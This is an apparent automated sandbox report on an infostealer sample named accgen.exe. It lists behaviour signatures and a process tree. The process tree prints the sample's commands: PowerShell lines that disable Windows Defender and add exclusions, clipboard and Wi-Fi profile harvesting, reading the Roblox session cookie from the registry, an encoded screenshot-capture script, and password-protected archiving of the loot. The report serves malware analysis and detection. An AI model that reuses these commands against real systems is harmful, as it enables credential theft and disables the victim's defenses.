Resubmissions

11-12-2024 20:16

241211-y2jj2a1pbn 10

07-12-2024 23:58

241207-31ftzawpbl 10

06-12-2024 00:18

241206-al2hxazlh1 10

05-12-2024 20:14

241205-yz2b3awpfq 10

05-12-2024 18:42

241205-xcrnnswqgs 10

05-12-2024 02:56

241205-dfenqs1mbl 10

05-12-2024 02:56

241205-de5tja1maj 10

05-12-2024 00:22

241205-an7gyavkal 10

04-12-2024 22:51

241204-2s976s1mhj 10

Analysis

  • max time kernel
    91s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-12-2024 20:14

General

  • Target

    accgen.exe

  • Size

    7.5MB

  • MD5

    f1c9d53dc67cafd6d193be9a4b33f627

  • SHA1

    dc1de348ba0cd40c6b10cb528e7aee83072c6aa0

  • SHA256

    45715d3b3c58ea90088529b234c4ebb34a005c5d7406b4a92a3e116aa28c26c2

  • SHA512

    aaba4de3b7e9bd1e8c41e655cbe29addcbe98f62f4b6ad599fe7a59e4616881ca97a91ae0a457df0421d586eb586a13f62aff10907a386f1cf3a25be7fa6244c

  • SSDEEP

    196608:WlQCwVhurErvI9pWjgN3ZdahF0pbH1AY7WtQsNo/03vC1J:LVhurEUWjqeWx06rYYJ

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • UPX packed file 58 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\accgen.exe
    "C:\Users\Admin\AppData\Local\Temp\accgen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3500
    • C:\Users\Admin\AppData\Local\Temp\accgen.exe
      "C:\Users\Admin\AppData\Local\Temp\accgen.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\accgen.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\accgen.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5612
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5996
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5628
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:2432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:1432
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2216
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:388
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5528
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:3412
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3552
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:5380
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1144
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:3944
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:404
            • C:\Windows\System32\Wbem\WMIC.exe
              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              4⤵
                PID:4916
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
              3⤵
              • Clipboard Data
              • Suspicious use of WriteProcessMemory
              PID:5260
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-Clipboard
                4⤵
                • Clipboard Data
                • Suspicious behavior: EnumeratesProcesses
                PID:3668
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5292
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:2208
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
                PID:5160
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:4468
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                  3⤵
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  PID:1208
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show profile
                    4⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:344
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "systeminfo"
                  3⤵
                    PID:1096
                    • C:\Windows\system32\systeminfo.exe
                      systeminfo
                      4⤵
                      • Gathers system information
                      PID:6084
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                    3⤵
                      PID:5092
                      • C:\Windows\system32\reg.exe
                        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                        4⤵
                          PID:4592
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                        3⤵
                          PID:2876
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4752
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pac4d3an\pac4d3an.cmdline"
                              5⤵
                                PID:3720
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9A3C.tmp" "c:\Users\Admin\AppData\Local\Temp\pac4d3an\CSC7C73A5E67A694B1B9221848A9CC740B0.TMP"
                                  6⤵
                                    PID:4744
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              3⤵
                                PID:3016
                                • C:\Windows\system32\tree.com
                                  tree /A /F
                                  4⤵
                                    PID:1056
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                  3⤵
                                    PID:1364
                                    • C:\Windows\system32\attrib.exe
                                      attrib -r C:\Windows\System32\drivers\etc\hosts
                                      4⤵
                                      • Drops file in Drivers directory
                                      • Views/modifies file attributes
                                      PID:4136
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                    3⤵
                                      PID:1660
                                      • C:\Windows\system32\attrib.exe
                                        attrib +r C:\Windows\System32\drivers\etc\hosts
                                        4⤵
                                        • Drops file in Drivers directory
                                        • Views/modifies file attributes
                                        PID:4956
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:3820
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:4848
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                          3⤵
                                            PID:4552
                                            • C:\Windows\system32\tasklist.exe
                                              tasklist /FO LIST
                                              4⤵
                                              • Enumerates processes with tasklist
                                              PID:4392
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:128
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:3452
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                3⤵
                                                  PID:4372
                                                  • C:\Windows\system32\tree.com
                                                    tree /A /F
                                                    4⤵
                                                      PID:3800
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                    3⤵
                                                      PID:5640
                                                      • C:\Windows\system32\tree.com
                                                        tree /A /F
                                                        4⤵
                                                          PID:252
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                        3⤵
                                                          PID:4004
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                            4⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:1328
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                          3⤵
                                                            PID:4940
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                              4⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:2752
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "getmac"
                                                            3⤵
                                                              PID:5532
                                                              • C:\Windows\system32\getmac.exe
                                                                getmac
                                                                4⤵
                                                                  PID:2384
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI35002\rar.exe a -r -hp"Fortnite" "C:\Users\Admin\AppData\Local\Temp\toM7c.zip" *"
                                                                3⤵
                                                                  PID:6040
                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI35002\rar.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\_MEI35002\rar.exe a -r -hp"Fortnite" "C:\Users\Admin\AppData\Local\Temp\toM7c.zip" *
                                                                    4⤵
                                                                    • Executes dropped EXE
                                                                    PID:6036
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                  3⤵
                                                                    PID:2912
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic os get Caption
                                                                      4⤵
                                                                        PID:4436
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                      3⤵
                                                                        PID:1068
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic computersystem get totalphysicalmemory
                                                                          4⤵
                                                                            PID:6032
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                          3⤵
                                                                            PID:6132
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic csproduct get uuid
                                                                              4⤵
                                                                                PID:4648
                                                                            • C:\Windows\system32\cmd.exe
